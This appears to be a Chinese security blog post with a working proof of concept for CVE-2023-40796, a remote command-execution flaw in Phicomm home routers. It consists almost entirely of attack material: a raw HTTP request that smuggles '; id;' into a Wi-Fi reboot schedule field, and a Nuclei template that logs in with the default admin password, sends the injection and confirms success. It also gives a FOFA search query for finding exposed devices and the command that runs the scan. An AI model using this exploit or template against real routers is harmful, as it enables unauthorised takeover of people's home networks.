斐讯 Phicomm 路由器RCE漏洞(附poc)

POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1Host: x.x.x.xCookie: sysauth=第一步登录获取的cookieContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytzUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
------WebKitFormBoundaryxbgjoytzContent-Disposition: form-data; name="wifiRebootEnablestatus"
%s------WebKitFormBoundaryxbgjoytzContent-Disposition: form-data; name="wifiRebootrange"
12:00; id;------WebKitFormBoundaryxbgjoytzContent-Disposition: form-data; name="wifiRebootendrange"
%s:------WebKitFormBoundaryxbgjoytzContent-Disposition: form-data; name="cururl2"

------WebKitFormBoundaryxbgjoytz--

id: CVE-2023-40796
info:  name: 斐讯 Phicomm 路由器后台命令执行  author: fgz  severity: high  description: |    斐讯Phicomm路由器是一款流行的家用路由器，默认登陆页面只有用户名，默认账号为admin，该路由器后台管理界面存在远程命令执行漏洞。  reference:    None  metadata:    verified: true    max-request: 1    fofa-query: icon_hash="-1344736688"  tags: rce
http:  - raw:      - |        POST /cgi-bin/luci/admin/login HTTP/1.1        Host: {{Hostname}}        User-Agent: Opera/8.16.(X11; Linux i686; nn-NO) Presto/2.9.183 Version/12.00        Accept-Encoding: gzip, deflate        Accept: */*        Connection: close        Content-Length: 278        Content-Type: application/x-www-form-urlencoded                action_mode=apply&action_url={{BaseURL}}/cgi-bin/luci/admin/login&username=admin&password=YWRtaW4=
      - |        POST {{replace(api,'index','wifireboot')}} HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz        User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36                ------WebKitFormBoundaryxbgjoytz        Content-Disposition: form-data; name="wifiRebootEnablestatus"                %s        ------WebKitFormBoundaryxbgjoytz        Content-Disposition: form-data; name="wifiRebootrange"                12:00; id;        ------WebKitFormBoundaryxbgjoytz        Content-Disposition: form-data; name="wifiRebootendrange"                %s:        ------WebKitFormBoundaryxbgjoytz        Content-Disposition: form-data; name="cururl2"                        ------WebKitFormBoundaryxbgjoytz--
    cookie-reuse: true    extractors:      - type: kval        name: api        internal: true        part: header        kval:          - Location    matchers:      - type: dsl        dsl:          - "status_code_2 == 200 && contains((body_2), 'uid') && contains((body_2), 'gid')"        condition: and

.nuclei.exe -t .CVE-2023-40796.yaml -u http://x.x.x.x:30005